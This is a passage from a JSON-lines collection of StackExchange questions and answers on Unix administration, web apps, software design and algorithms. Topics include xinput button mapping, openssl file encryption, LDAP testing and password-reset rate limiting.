return false;    }    }}"  , "title": "PHP email selector class"  , "tags": "php;mysql"  , "accepted_answer": "I'd consider:breaking it into smaller object (e.g. extract counters)do not hardcode the dblink connection + settings (e.g. pass the object in the constructor)use phpdoc commentscorrect formattingTry to write unit test for this class, you'll spot all the drawbacks quickly."  } 
{  "id": "_unix.78106"  , "question": "I have a computer connected via ethernet cables to my home router that preforms server like duties. Specifically, for some time I was running rtorrent on this machine. I wish I knew when this started to occur (then I could try and associate the break with an event), yet mysteriously all of my active torrents suddenly failed to seed or download. The program error message read Tracker: [Failed sending data to the peer].My first attempt at troubleshooting was to completely uninstall and reinstall rtorrent. I rewrote (read: uncommented the example) my config files and started clean. The first torrent file in erred with the same message. I am familiar with the common key sequences to fix torrents that go rogue in rtorrent: C-d, C-k, C-e, C-r, C-s and many variations on the same, none of them proved fruitful. Next up the operating system. I formatted a rather poorly maintained Linux Mint install and wrote it over with a fresh command-line Ubuntu installation. Feeling sure that I had nuked the issue I installed rtorrent only to once again be greeted with [Failed sending data to the peer].If my thinking is logical the next step would be to investigate the connection between the machine and the router. However I am not really sure how to do that (only an amateur with network engineering) or what to analyze/check or even how to start. Any recommendations for how to proceed? Also if you need any specifics about the setup to offer advice, just ask and I will post links to config files or other information.Extra Info: I can successfully download torrents from other machines on the same subnet.Edit 1: I've verified something suspicious about the machine in question. When it is requested to ping www.google.com it replies unknown host If I discover google's public IP on a different computer (same subnet!) and then using that information request the faulty machine to ping 74.125.239.131 instead it succeeds. Could this DNS issue (that's what it is right?) be affecting the torrent protocol?"  , "title": "How should I proceed in troubleshooting rtorrent?"  , "tags": "rtorrent"  } 
{  "id": "_unix.119921"  , "question": "If my pwd is ~/repos/blog/app/views/, I'd like to show only blog/app/views in the prompt i.e. I want to show only the project root. Project root is the parent directory of .git directory. Is there a way I can achieve this?"  , "title": "Show path from project root in ZSH Prompt"  , "tags": "zsh;prompt"  } 
{  "id": "_unix.156949"  , "question": "The right button on my kid's acer v5 is broken. It got wet with milk and now it suddenly appears to keep pressed.How can I deactivate the buttons at all to only work with the touchpad?I have OpenSUSE 13.1 with KDE."  , "title": "how to keep the touchpad but want to deactivate the buttons"  , "tags": "kde;opensuse;touchpad"  , "accepted_answer": "Most touchpads can be manipulated with the command line tools synclient and xinput. You can read more about both of these command line tools here in the ArchLinux wiki:https://wiki.archlinux.org/index.php/Touchpad_SynapticsOf the 2 tools, I do not believe you can disable the uttons using synclient. You may be able to do so using xinput. Of the 2 tools, this is the more cumbersome one to use, but it's not overly difficult.If you run it with the -h switch you'll get the following usage info:$ xinput -husage :    xinput get-feedbacks <device name>    xinput set-ptr-feedback <device name> <threshold> <num> <denom>    xinput set-integer-feedback <device name> <feedback id> <value>    xinput get-button-map <device name>    xinput set-button-map <device name> <map button 1> [<map button 2> [...]]    xinput set-pointer <device name> [<x index> <y index>]    xinput set-mode <device name> ABSOLUTE|RELATIVE    xinput list [--short || --long || --name-only || --id-only] [<device name>...]    xinput query-state <device name>    xinput test [-proximity] <device name>    xinput create-master <id> [<sendCore (dflt:1)>] [<enable (dflt:1)>]    xinput remove-master <id> [Floating|AttachToMaster (dflt:Floating)] [<returnPointer>] [<returnKeyboard>]    xinput reattach <id> <master>    xinput float <id>    xinput set-cp <window> <device>    xinput test-xi2 <device>    xinput map-to-output <device> <output name>    xinput list-props <device> [<device> ...]    xinput set-int-prop <device> <property> <format (8, 16, 32)> <val> [<val> ...]    xinput set-float-prop <device> <property> <val> [<val> ...]    xinput set-atom-prop <device> <property> <val> [<val> ...]    xinput watch-props <device>    xinput delete-prop <device> <property>    xinput set-prop <device> [--type=atom|float|int] [--format=8|16|32] <property> <val> [<val> ...]    xinput disable <device>    xinput enable <device>I would start with the options whose names include the text button.$ xinput -h 2>&1 | grep button    xinput get-button-map <device name>    xinput set-button-map <device name> <map button 1> [<map button 2> [...]]You'll need the device's name in order to query it. For that you'll use xinput list.Example$ xinput list Virtual core pointer                      id=2    [master pointer  (3)]    Virtual core XTEST pointer                id=4    [slave  pointer  (2)]    Logitech Unifying Device. Wireless PID:4013   id=9    [slave  pointer  (2)]    SynPS/2 Synaptics TouchPad                id=11   [slave  pointer  (2)]    TPPS/2 IBM TrackPoint                     id=12   [slave  pointer  (2)] Virtual core keyboard                     id=3    [master keyboard (2)]     Virtual core XTEST keyboard               id=5    [slave  keyboard (3)]     Power Button                              id=6    [slave  keyboard (3)]     Video Bus                                 id=7    [slave  keyboard (3)]     Sleep Button                              id=8    [slave  keyboard (3)]     AT Translated Set 2 keyboard              id=10   [slave  keyboard (3)]     ThinkPad Extra Buttons                    id=13   [slave  keyboard (3)]It's typically SynPS/2 Synaptics TouchPad this device handle, but may vary for your particular hardware.$ xinput get-button-map SynPS/2 Synaptics TouchPad1 2 3 4 5 6 7 8 9 10 11 12 These are all the buttons that are specified for my Thinkpad T410 laptop's touchpad. Any corners and such on the touchpad are also considered buttons, that's why there are so many in the above output. You can find out more about which buttons are which number in the above list using the --long switch.Example$ xinput list --long SynPS/2 Synaptics TouchPad ...    SynPS/2 Synaptics TouchPad                id=11   [slave  pointer  (2)]    Reporting 8 classes:        Class originated from: 11. Type: XIButtonClass        Buttons supported: 12        Button labels: Button Left Button Middle Button Right Button Wheel Up Button Wheel Down Button Horiz Wheel Left Button Horiz Wheel Right None None None None None        Button state:        Class originated from: 11. Type: XIValuatorClass        Detail for Valuator 0:          Label: Rel X          Range: 1472.000000 - 5888.000000          Resolution: 75000 units/m          Mode: relative        Class originated from: 11. Type: XIValuatorClass        Detail for Valuator 1:          Label: Rel Y          Range: 1408.000000 - 4820.000000          Resolution: 105000 units/m          Mode: relative        Class originated from: 11. Type: XIValuatorClass        Detail for Valuator 2:          Label: Rel Horiz Scroll          Range: 0.000000 - -1.000000          Resolution: 0 units/m          Mode: relative        Class originated from: 11. Type: XIValuatorClass        Detail for Valuator 3:          Label: Rel Vert Scroll          Range: 0.000000 - -1.000000          Resolution: 0 units/m          Mode: relative    ...OK that's great, but how do I disable a button?If you take a look at the man page for xinput you'll see the following clue:$ man xinput...   --set-button-map device map_button_1 [map_button_2 [...]]        Change the button mapping of device. The buttons are specified         in physical order (starting with button 1) and  are  mapped  to        the logical button provided. 0 disables a button. The default         button mapping for a device is 1 2 3 4 5 6 etc....So if you take note of which button is the one that you want to disable using the xinput list --long SynPS/2 Synaptics TouchPad, you could do the following, if say you wanted to disable button #5.$ xinput set-button-map SynPS/2 Synaptics TouchPad 1 2 3 4 0 6 7 8 9 10 11 12NOTE: In the above example, SynPS/2 Synaptics TouchPad can also be replaced by 11, as that is the ID of this particular input, so this is the same as above:$ xinput set-button-map 11 1 2 3 4 0 6 7 8 9 10 11 12Tip on device namesIn the output of xinput list you may have noticed a column with the strings id=#.$ xinput list Virtual core pointer                      id=2    [master pointer  (3)]    Virtual core XTEST pointer                id=4    [slave  pointer  (2)]    Logitech Unifying Device. Wireless PID:4013   id=9    [slave  pointer  (2)]    SynPS/2 Synaptics TouchPad                id=11   [slave  pointer  (2)]    TPPS/2 IBM TrackPoint                     id=12   [slave  pointer  (2)]Those IDs can be used instead of the long annoying string: SynPS/2 Synaptics TouchPad.$ xinput list-props 11"  } 
{  "id": "_webapps.90908"  , "question": "I have a problem with my google sheets updating the IMPORTXML data everytime i open my sheet.Does importxml function run everytime I open Google Sheets ? Is there a way of turning off this? I don't want it to refresh data every time I open the sheet. Surely there must be a way of controlling when the update must be done."  , "title": "Import XML data Reloading everytime I open the sheet"  , "tags": "google spreadsheets"  , "accepted_answer": "I don't think there is a built-in way to disable automatic updates of importXML, but here is a workaround. Enter the script given below in the Script Editor. It will add a new menu item, Custom > Update imported data, next time the spreadsheet is opened. Place any importXML formulas in the first row of a sheet and precede them with a backtick, so they are not recognized immediately: `=importXML(http://cnn.com, //div)This doesn't do anything on its own. But when the command Update imported data is executed, it will place the actual formula (without backtick) one row below, so it is executed. After that, it will replace all formulas on the sheet with their output; in particular there will not be any active importXML formula left. The original backticked formula will stay in place, so the data can be refreshed again just by using the same menu item.  function onOpen() {  var menu = [{name: Update imported data, functionName: update}];  SpreadsheetApp.getActiveSpreadsheet().addMenu(Custom, menu);}function update() {  var sheet = SpreadsheetApp.getActiveSheet();  var range = sheet.getDataRange();  range.offset(1, 0).clear();  var values = range.getValues()[0];  for (var j=0; j<values.length; j++) {    if (/^`=import/i.test(values[j])) {      range.getCell(1, j+1).offset(1, 0).setFormula(values[j].slice(1));    }  }  SpreadsheetApp.flush();  var range = sheet.getDataRange().offset(1, 0);  range.copyTo(range, {contentsOnly: true});}LimitationsWhen updating the output, the script erases everything below the first row, to make room for new data. So you can't have much else on this sheet, other than importXML. Put the rest of logic on other sheets. Alternatively, one can modify the script to keep the first N rows unaffected, and use the rows starting with N+1 for imported data."  } 
{  "id": "_unix.175584"  , "question": "I try to run nmcli_dmenu, here is the error message:Error: Object 'networking' is unknown, try 'nmcli help'.Usage: nmcli connection { COMMAND | help }  COMMAND := { list | status | up | down | delete }  list [id <id> | uuid <id>]  status [id <id> | uuid <id> | path <path>]  up id <id> | uuid <id> [iface <iface>] [ap <BSSID>] [--nowait] [--timeout <timeout>]  down id <id> | uuid <id>  delete id <id> | uuid <id>Error: 'con' command 'show' is not valid.Could anyboday tell me what's wrong?(Ubuntu, xmonad, network-manager)"  , "title": "nmcli_dmenu doesn't work"  , "tags": "networkmanager;dmenu"  } 
{  "id": "_ai.2701"  , "question": "I want to develop an artificial life simulator to simulate cells living in water.I want to see how they search for food, how they life and die and how they reproduce and evolve.My problem is that I don't know where to start, I have no idea about if there are books or tutorial about how to program this kind of simulator. And also I don't know if I can use here machine learning.By the way, I'm a programmer and I want to do it using C++ and Unreal Engine.Where can I find more info about how to do it?"  , "title": "Artificial life simulator"  , "tags": "neural networks;machine learning;genetic algorithms"  , "accepted_answer": "The best approach would be starting with smaller projects involving neural networks and genetic algorithms to gain experience in order to speedup the coding of the project you have proposed; playing around with TensorFlow and Unreal Engine it is not a bad idea.Hint: when implementing your idea of artificial life, you should consider that each cell/organism have to have some kind of sensors in order to capture informations from the environment; such informations i.e. the position and the distance of the nearest meal and/or predators, the temperature, the pressure and depth of water, should be passed through the neural network to determine the response of the cell. Also, in your environment you should promote the spreading of organisms which responses are euristically better i.e. cells that don't get caught by predators or don't die by starvation. How? Simply by evolving their brain/brains/sensors through a genetic algorithm that favors individuals/species with good parameters. I recommend you a nature-inspired AI method, it is called NEAT model. It explains how to implement a neural networks that can be evolved. The paper can be found here: Evolving Neural Networks through Augmenting Topologies.A different approach to NEAT would be Deep Reinforcement Learning; in the link you can find a demo artifical organism that learns how to find meals. There are a ton of parameters and implementations you can consider, the only limit is your creativity."  } 
{  "id": "_unix.258222"  , "question": "I am trying to use Jenkins to build a C++ project in a Docker container. I have no problem building in Jenkins, or building in a container outside of Jenkins.Below is what I tried. I am omitting the volumes mapping for clarity.Case 1The following command successfully runs a build in a shell.docker run --rm --interactive=true --tty=true $IMAGE makeHowever when run in Jenkins as an execute shell step Docker returns the following error.cannot enable tty mode on non tty inputCase 2The following command is similar to the previous one but disables interactivity.docker run --rm $IMAGE makeJenkins can run a build successfully. However there are serious issues when aborting a build. The build is immediately marked as aborted but the container keeps running until the build completes. Also the container is not removed after exiting.When run in a shell the command builds successfully but it is not possible to interrupt it. Also the container is removed after exiting.QuestionWould anyone know how to cleanly run builds in Docker containers from Jenkins and retain the capability to abort builds?Using any of the Jenkins plugins is not an option because the Docker calls are inside scripts and cannot be extracted easily."  , "title": "How to run builds in Docker containers from Jenkins"  , "tags": "tty;docker;pty;jenkins"  } 
{  "id": "_softwareengineering.206860"  , "question": "I read in a book that both methods and fields are considered the attributes of a class in Python. However, recently I was told by a friend of mine that methods may not be considered the attributes of a class.Then I decided to check this out again, and found this question mentioned on Wikipedia saying that this is a Python tradition to refer to methods as attributes, in contrast to other object-oriented programming languages.So my question is: why are methods considered the class atributes along with the fields in Python in contrast to other languages?Thank you!"  , "title": "Why are methods considered the class attributes in Python?"  , "tags": "object oriented;python;conventions"  , "accepted_answer": "Your friend was wrong. Methods are attributes.Everything in Python is objects, really, with methods and functions and anything with a __call__() method being callable objects. They are all objects that respond to the () call expression syntax.Attributes then, are objects found by attribute lookup on other objects. It doesn't matter to the attribute lookup mechanism that what is being looked up is a callable object or not.You can observe this behaviour by looking up just the method, and not calling it:>>> class Foo(object):...     def bar(self):...         pass... >>> f = Foo()>>> f.bar<bound method Foo.bar of <__main__.Foo object at 0x1023f5590>>Here f.bar is an attribute lookup expression, the result is a method object.Of course, your friend me be a little bit right too; what is really happening is that methods are special objects that wrap functions, keeping references to the underlying instance and original function, and are created on the fly by accessing the function as an attribute. But that may be complicating matters a little when you first start out trying to understand Python objects. If you are interested in how all that works, read the Python Descriptor HOWTO to see how attributes with special methods are treated differently on certain types of attribute access.This all works because Python is a dynamic language; no type declarations are required. As far as the language is concerned, it doesn't matter if Foo.bar is a string, a dictionary, a generator, or a method. This is in contrast to compiled languages, where data is very separate from methods, and each field on an instance needs to be pinned down to a specific type beforehand. Methods generally are not objects, thus a separate concept from data."  } 
{  "id": "_softwareengineering.211696"  , "question": "I'm making a website in PHP where the user can search a big MySQL database. The user is shown the first result. I want the next button to take the user to the next result, and so on.The trivial solution is for each result page to execute the user's search query again and use OFFSET and LIMIT to get the n-th result that is displayed. But this feels like a Schlemiel the Painter's algorithm: re-executing the same query over and over to get to the n-th result is inefficient.Since others must have faced this situation before: how is this typically solved?"  , "title": "More efficient way to paginate search results"  , "tags": "php;mysql"  } 
{  "id": "_webmaster.11004"  , "question": "Possible Duplicate:www.mydomain.com secure but not mydomain.com? HiWe've got our website running and https / ssl works just great.EXCEPTwhen users enter http://www.mydomain.com and then enter the secure area and get directed to httpS://www.mydomain.com it works fine.But when users enter just http://mydomain.com and then enter the secure are and get directed to httpS://mydomain.com they get a warning about the certificate being from a website called www.mydomain.com while they're trying to enter mydomain.com ....Does our SSL cert not cover both www.mydomain.com and mydomain.com? Are we suppose to buy TWO certs, on for each?? Surely not?Any help or pointers to the standard way of doing things like this would be great.We're using Apache HTTPD to forward requests to Tomcat webapps. Apache is taking care of all the SSL connections."  , "title": "www.mydomain.com secure but not mydomain.com?"  , "tags": "apache;https"  } 
{  "id": "_unix.27005"  , "question": "Suppose I want to encrypt a file so that only I can read it, by knowing my SSH private key password. I am sharing a repo where I want to encrypt or obfuscate sensitive information. By that, I mean that the repo will contain the information but I will open it only in special cases.Suppose I am using SSH-agent, is there some easy way to encrypt the file for only me to open it later?I cannot see why I should use GPG for this, question here; basically I know the password and I want to only decrypt the file by the same password as my SSH key. Is this possible?"  , "title": "Encrypting file only with SSH -priv-key?"  , "tags": "ssh;encryption"  , "accepted_answer": "I think your requirement is valid, but on the other hand it is also difficult, because you are mixing symmetric and asymmetric encryption. Please correct me if I'm wrong.Reasoning:The passphrase for your private key is to protect your private keyand nothing else.This leads to the following situation: You want touse your private key to encrypt something that only you can decrypt.Your private key isn't intended for that, your public key is thereto do that. Whatever you encrypt with your private key can bedecrypted by your public key (signing), that's certainly not what you want. (Whatever gets encrypted byyour public key can only be decrypted by your private key.)So you need to use your public key to encrypt your data, but for that, youdon't need your private key passphrase for that. Only if you want todecrypt it you would need your private key and the passphrase.Conclusion: Basically you want to re-use your passphrase for symmetric encryption. The only program you would want to give your passphrase is ssh-agent and this program does not do encryption/decryption only with the passphrase. The passphrase is only there to unlock your private key and then forgotten.Recommendation: Use openssl enc or gpg -e --symmetric with passphrase-protected keyfiles for encryption. If you need to share the information, you can use the public key infrastucture of both programs to create a PKI/Web of Trust.With openssl, something like this:$ openssl enc -aes-256-ctr -in my.pdf -out mydata.enc and decryption something like$ openssl enc -aes-256-ctr -d -in mydata.enc -out mydecrypted.pdfUpdate:It is important to note that the above openssl commands do NOT prevent the data from being tampered with. A simple bit flip in the enc file will result in corrupted decrypted data as well. The above commands cannot detected this, you need to check this for instance with a good checksum like SHA-256. There are cryptographic ways to do this in an integrated way, this is called a HMAC (Hash-based Message Authentication Code)."  } 
{  "id": "_computerscience.5246"  , "question": "I want to write plugin (library) for Unity3d (it doesn't matter which framework I will choose for this, question is ), for cutting arbitrary mesh with plane (for simplicity it will be plane for beginning). There are following steps:1) check every triangle whether it lies above, under plane or intersected by plane, assign all vertices to VER_ABOVE or VER_UNDER lists, recalculate triangles, put them in TRI_ABOVE or TRI_UNDER lists2) Split intersected triangles into triangle and quadrilateral, triangulate last one and put them in corresponding lists (TRI_ABOVE or TRI_UNDER)3) Triangulate slice surface, assign it to TRI_ABOVE and TRI_UNDERAnd now the question: Where it is better to calculate intersections, triangulation (for example I will use Constrained Delaunay Triangulation or Sweep Line Non-Convex Polygonal Triangulation cutting into monotone polygonals) and other stuff: on CPU or on GPU (using Shaders), if someone could explain me general pipeline from loading cashing mesh to memory and so on on GPU and on CPU, so I can better understand the most time consuming actions and can optimize some stuff.I will also be thankful for sharing link on code examples calculating similar stuff."  , "title": "What is better to use for real-time computing Mesh - Plane intersection points, GPU or CPU?"  , "tags": "shader;real time;mesh;triangulation;tesselation"  , "accepted_answer": "doing the calculation to decide whether a point is on one side of a plane or the other is very simple (a single dot product). Doing that 3 times and having a special case when they don't match to split the triangle is pretty fast. It's also a parallel problem. The hardest part is reserving the space for the output.Preparing the data to start computing this on the gpu is already enough overhead that it's not worth doing it on the gpu unless the mesh is very big or you are splitting it multiple times (due to the plane moving for example). Or the data is already in good enough condition to be sent over to the gpu directly through DMA without the cpu needing to touch it at all."  } 
{  "id": "_unix.7441"  , "question": "Can root kill init process (the process with pid 1)? What would be its consequences?"  , "title": "Can root kill init process?"  , "tags": "root;init"  , "accepted_answer": "By default, no, that's not allowed.  Under Linux (from man 2 kill):The  only  signals  that can be sent to process ID 1, the init process, are those for which init  has  explicitly  installed  signal  handlers.  This is done to assure the system is not brought down accidentally.Pid 1 (init) can decide to allow itself to be killed, in which case the kill is basically a request for it to shut itself down.  This is one possible way to implement the halt command, though I'm not aware of any init that does that.On a Mac, killing launchd (its init analogue) with signal 15 (SIGTERM) will immediately reboot the system, without bothering to shut down running programs cleanly.  Killing it with the uncatchable signal 9 (SIGKILL) does nothing, showing that Mac's kill() semantics are the same as Linux's in this respect.At the moment, I don't have a Linux box handy that I'm willing to experiment with, so the question of what Linux's init does with a SIGTERM will have to wait.  And with init replacement projects like Upstart and Systemd being popular these days, the answer could be variable.UPDATE: On Linux, init explicitly ignores SIGTERM, so it does nothing.  @jsbillings has information on what Upstart and Systemd do."  } 
{  "id": "_webapps.78583"  , "question": "Every week I get an email message from somebody asking me to confirm my Twitter account. I don't even have a Twitter account! The sender's email address is activate@twitter.com, which I find suspicious as it is so generic and does not include the sender's name, which appears in the subject line. I have never opened any of his emails as I suspect this is a malicious phishing scam. In the meantime, I have blocked it so the emails end up in my spam box. Also, I want to report the above to Twitter to see if they can do anything about it, should it be a legitimate user, which I doubt. How do I email or call them as I am not a Twitter user?"  , "title": "How to contact Twitter to report phishing scams"  , "tags": "twitter;phishing"  } 
{  "id": "_unix.136931"  , "question": "I've spent so much time trying to get various flavours of Linux to run on my Dell XPS LS02 laptop which only has a HDMI output.I've tried all sorts of solutions and methods including http://bumblebee-project.org/ However none have managed to get me a stable second display working.The question, is there any distribution that supports the intel/nvidia(optimus) hybrid chipset out of the box?"  , "title": "A distro that supports intel/nvidia hybrid graphics out of the box"  , "tags": "nvidia;hybrid graphics;intel graphics"  } 
{  "id": "_webmaster.16368"  , "question": "I am interested in learning how to run a server to host a website and provide me with email and all the other features hosting companies offer. I have read snippets from all over about different aspects, but I would like an absolute begining as I don't really even understand how servers work. Can anyone recommend a site or book that would offer a solid foundation for understanding how a server works."  , "title": "I want to learn about servers, where should I start?"  , "tags": "web hosting;webserver;web development"  } 
{  "id": "_softwareengineering.354332"  , "question": "It's a C#, ASP.NET MVC Project and here is the problem:User can enter their email address in the reset password text field and click on the Reset Password button. Each time the user clicks on the Reset Password button a new email will be sent to that email address.I am trying to limit the user reset password email to only once every x hours.What are the possible solutions?Here is what I have in mind so far, but I guess there are some other smarter ways:Create a cookie on the client side once the first reset password request came, and set the cookie expiry date to x hours. As long as the cookie exists, don't let user reset their password. (The problem with this is that the user can easily use a different browser or remove that cookie manually)Create a new DB table and insert the user email address and expiry date into that table. When user tries to reset his password, as long as the record exists in the DB don't let future reset password emails be sent."  , "title": "Possible way to handle multiple reset password email"  , "tags": "design;design patterns;web development;web applications;passwords"  , "accepted_answer": "The second approach works well.  I used something similar in a recent project.  When someone requests a password reset, it generates the verification code (used for the verification link) and puts it into a table along with the email address and a timestamp.  If a password reset is requested again, it checks that table first and won't send out the email if another request had been made within the past X minutes.There's a periodic task that then goes through and clears out any password reset entries as they expire (for ex, after 24 hours)."  } 
{  "id": "_cs.53864"  , "question": "It is known that when a Random Access Machine halts the output on the registers is going to be $R_1,\\ldots,R_{||R_0||}$ after going through its instruction set where $||R_0||$ denotes the length of the binary representation of $R_0$. Is there any implication changing the output on the registers as $R_1,\\ldots,R_{R_0}$. "  , "title": "Random Access Machine output"  , "tags": "complexity theory;turing machines"  } 
{  "id": "_softwareengineering.197590"  , "question": "So I'm finishing up refactoring some code to remove a number of previously-mutable objects and add a better generic processing for all the classes in the domain.  Just as I thought I was finishing I eralized that there is one sub-class that has some additional state.The additional state is a link to other classes that are used as part of the logic for knowing when new domain objects will be created, deleted, or modified.  However, this sub-class is only created at bootup, or when someone runs a command to re-read and update to new configuration files.  I know that this object will always be created before any of the other objects in my domain that are dependent on it are, such that anyone pointing to this object are all gaurenteed to point to the same instance.  I effectively have the Memorization pattern by an accident of how the structure is created.I could refactor away the mutability; but it would require a bit of work modifying bootup logic that I would prefer to avoid.  Or I could change the has and equals methods to ignore this one set of mutable values so my model will treat this object exactly like it's immutable parent and trust that my knowledge of the method it is constructed prevent me from aliasing issues when I do try to use it's mutable traits.So how 'wrong' is it to bend my contract for thie class this way be?"  , "title": "subclass of immutable object not immutable, can this work?"  , "tags": "design;mutable"  , "accepted_answer": "There's nothing inherently wrong with mutable subclasses provided you don't make assumptions about mutability in other parts of your code. As an example, the Foundation framework that's part of Cocoa and Cocoa Touch frameworks (MacOS X and iOS respectively) has a number of immutable data containers that have mutable subclasses. NSMutableArray is a mutable subclass of the immutable  NSArray, NSMutableDictionary is a mutable subclass of the immutable NSDictionary, etc. This works fine if you think of mutability as an added feature rather than something that needs to be removed from the superclass. Most importantly, client code should never try to make changes to an object that's advertised as immutable, even if the object happens to be an instance of a mutable subclass. So, if a method returns a NSArray, you might actually get back an instance of NSMutableArray, but you should always treat it as immutable anyway."  } 
{  "id": "_unix.210532"  , "question": "I want to test the LDAP connectivity between my linux machine to the windows domain controler , so I installed successfully the tool- ldapsearch The Linux machine do authentication of users agaisnt the domain controller ( win machine )so to test the LDAP I run this command  ldapsearch -x -h domainController.apple.com -b dc=apple,dc=comwhat I get is that: # extended LDIF # # LDAPv3 # base <dc=apple,dc=com> with scope subtree # filter: (objectclass=*) # requesting: ALL # # search result search: 2 result: 1 Operations error text: 00000000: LdapErr: DSID-0C090627, comment: In order to perform this ope ration a successful bind must be completed on the connection., data 0, vece # numResponses: 1can someone help me to understand the results here from ldapsearch tool?or maybe the syntax in the command ldapsearch isnt right ?the ldap.conf as defined in my linux machine:more /etc/ldap.conflogdir /var/log/ldapdebug 0referrals noderef nevernss_getgrent_skipmembers yeshost domainController.apple.combase DC=apple,DC=comuri ldap://domainController.apple.com/"  , "title": "how to verified LDAP on Linux machine"  , "tags": "linux;ldap;active directory;domain"  } 
{  "id": "_softwareengineering.214474"  , "question": "I'm designing a REST API for a three-tier system like: Client application -> Front-end API cloud server -> user's home API server (Home).Home is a home device, and is supposed to maintain connection to Front-end via Websocket or a long poll (this is the first place where we're violating REST. It gets even worse later on). Front-end mostly tunnels Client requests to Home connection and handles some of the calls itself.Sometimes Home sends notifications to Client.Front-end and Home have basically the same API; Client might be connecting to Home directly, over LAN. In this case, Home needs to register some Client actions on a Front-end itself.Pros for REST in this system are:REST is human-readable;REST has a well-defined mapping of verbs (like CRUD), nouns and response codes to protocol objects;It works over HTTP and passes all the possible proxies;REST contras are:We need not only a request-response communication style, but also a publish-subscribe;HTTP error codes might be insufficient to handle three-tier communication errors; Front-end might return 202 Accepted to some async call only to find out that necessary Home connection is broken and there should have been 503;Home needs to send messages to Client. Client will have to poll Front-end or to maintain a connection.We are considering WAMP/Autobahn over Websocket to get publish/subscribe functionality, when it struck me that it's already looking like a message queue.Is it worth evaluating a sort of messaging queue as a transport?Looks like message queue contras are:I'll need to define CRUD verbs and error codes myself on a message level.I read something about higher maintenance cost, but what does it mean?how serious are these considerations?"  , "title": "REST or a message queue in a multi-tier heterogeneous system?"  , "tags": "architecture;web services;rest;message queue;websockets"  } 
{  "id": "_cs.47544"  , "question": "Here i want to discuss about Linear Voronoi game. The game consists of two players, and a  finite set of users placed along a line. Each player has 2m facilities, where m>0 is a fixed integer. The game starts by the first player, placing 2 facilities on the line, followed by which  the second player places 2 facilities, and this continues for multiple rounds.  Assuming that each user is served by a facility closest to it, the payoff of each player is defined as the number of users  served by the facilities of that player. The goal of each player is to maximize his payoff. I am trying  to find an optimal strategies for last move of both players to find their best placements in the game."  , "title": "Voronoi game in discrete space"  , "tags": "graphs;discrete mathematics;game theory;computer games"  } 
{  "id": "_webapps.92598"  , "question": "The problem:View Facebook news feedScroll down the pageInfinite scroll loads about 100 posts (10 days)No more posts are shown, instead a box titled Add Friends to See More Stories is shownIt appears to be impossible to go back further in time. In other words, Facebook seems to limit the number of posts that you can view. This has been a problem I've seen for 6 months or longer. In my current case I haven't checked Facebook for about 3 months, so only being able to see 10 days worth of past posts is not useful.I've tried using F.B. Purity and Social Fixer, and using a completely clean browser profile, and switching between but Most Recent and Top Stories, and the problem still occurs. The number of friends doesn't seem to be relevant since users with 4,000+ friends report the same issue.Other users report the same problem: https://www.facebook.com/help/community/question/?id=10205280399081185https://www.facebook.com/help/community/question/?id=10203669060999418but I cannot find any in-depth analysis of the problem online. This appears to be an artificial limit imposed by Facebook. Is there a workaround? Continuing to make calls to the Infinite scroll data source with the correct magic parameters will likely return older stories, but I have not tried to decipher the query format used for those calls."  , "title": "How to view older stories in Facebook news feed? [Add Friends to See More Stories]"  , "tags": "facebook;news feed"  } 
{  "id": "_cs.45299"  , "question": "Say you execute a clear interrupt instruction (CLI) in a pipelined CPU. While that instruction is being fetched, an interrupt occurs, so the instruction after the CLI is from the interrupt handler.You excepted no interrupts because of the CLI instruction but you still got one. How is this problem solved? "  , "title": "Clear interrupt instruction in a pipelined CPU"  , "tags": "computer architecture;cpu pipelines"  , "accepted_answer": "Such a control hazard can be handled effectively the same way that a branch misprediction is handled. Either the CLI instruction commits and the interrupt handler fetch is treated as the mispredicted path and fetch is restarted after the CLI or the CLI instruction is not committed and the interrupt handler is treated as the correct path."  } 
{  "id": "_codereview.169768"  , "question": "ProblemAdapted from this HackerRank problemGiven a string S, find the unordered pairs of substrings that are anagrams of each otherTwo strings are anagrams of each other if the letters of one string can be rearranged to form the other string.ApproachAnother way of thinking about anagrams is that two strings are anagrams if the frequency of the characters in both strings is identical.In other words, if you were to create a Map of the number of times every Character is found in each string, both Maps should be identical.`abba` => `{ 'a': 2, 'b': 2 }``bbaa` => `{ 'a': 2, 'b': 2 }`Thus, I approached the problem in the following wayStart with a pair count value of 0Iterate through all substrings of a given lengthCreate a Map that will keep track of all anagrams and their frequency (again, for substrings of the given length)For each substring, represent the frequency of each Character using a Map<Character, Integer>If the character frequencies calculated in Step #4 are not found in the key values of the Map created in Step #3 thenadd them to the Map. If it does exist, then increment the pair count by the number of times the same anagram (i.e. character frequencies) have already been seen. This is because for every time an identical anagram is seen, it can bepaired with every previous instance of the same anagram. After incrementing the pair count, also increment the number of times an anagram has been seen by 1Return the pair count valueImplementationpublic class UnorderedAnagrammaticPairsCounter {  public static int countUnorderedAnagrammaticPairs(String s) {    int count = 0;    for (int substringLength = 1; substringLength <= s.length(); substringLength++) {      Map<Map<Character, Integer>, Integer> substringsCounts = new HashMap<>();      for (int index = 0; index <= s.length() - substringLength; index++) {        String substring = s.substring(index, index + substringLength);        Map<Character, Integer> characterCounts = UnorderedAnagrammaticPairsCounter.getCharacterCounts(substring);        Integer substringCounts = substringsCounts.get(characterCounts);        if (substringCounts == null) {          substringsCounts.put(characterCounts, 1);        } else {          count += substringCounts;          substringsCounts.put(characterCounts, substringCounts + 1);        }      }    }    return count;  }  public static Map<Character, Integer> getCharacterCounts(String s) {    Map<Character, Integer> characterCounts = new HashMap<>();    for (char c : s.toCharArray()) {      Integer characterCount = characterCounts.get(c);      if (characterCount == null) {        characterCounts.put(c, 1);      } else {        characterCounts.put(c, characterCount + 1);      }    }    return characterCounts;  }}"  , "title": "Unordered Substring Anagrammatic Pairs"  , "tags": "java;strings;programming challenge"  } 
{  "id": "_webmaster.57100"  , "question": "I currently use Google custom search for my static site. When I use it, I sometimes get images next to the entry:I think Google simply takes the first image in the article. But I would rather like it to take the featured image (which is most of the time not in the article at all, but much smaller than all images that are in the articles and shows the topic of the article much better).How can I tell Google which image to use for the preview?"  , "title": "Can I tell Google which image to use for the preview in custom search?"  , "tags": "images;site search;google custom search"  , "accepted_answer": "I believe this is what you are looking for - https://support.google.com/customsearch/answer/1626955?hl=enYou can specify thumbnail images as follows:PageMap data in the  section of your HTML page A thumbnail meta  tag.Using a PageMapYou can specify a thumbnail image by adding a PageMap (a block of  code) to the  section of your page. This content is invisible to  users, but it can provide valuable information to Custom Search.  Create a thumbnail DataObject for your thumbnail image, like this: <!--   <PageMap>     <DataObject type=thumbnail>       <Attribute name=src value=http://www.example.com/recipes/applepie/applepie.jpg/>       <Attribute name=width value=100/>       <Attribute name=height value=130/>     </DataObject>   </PageMap> -->(You can also use 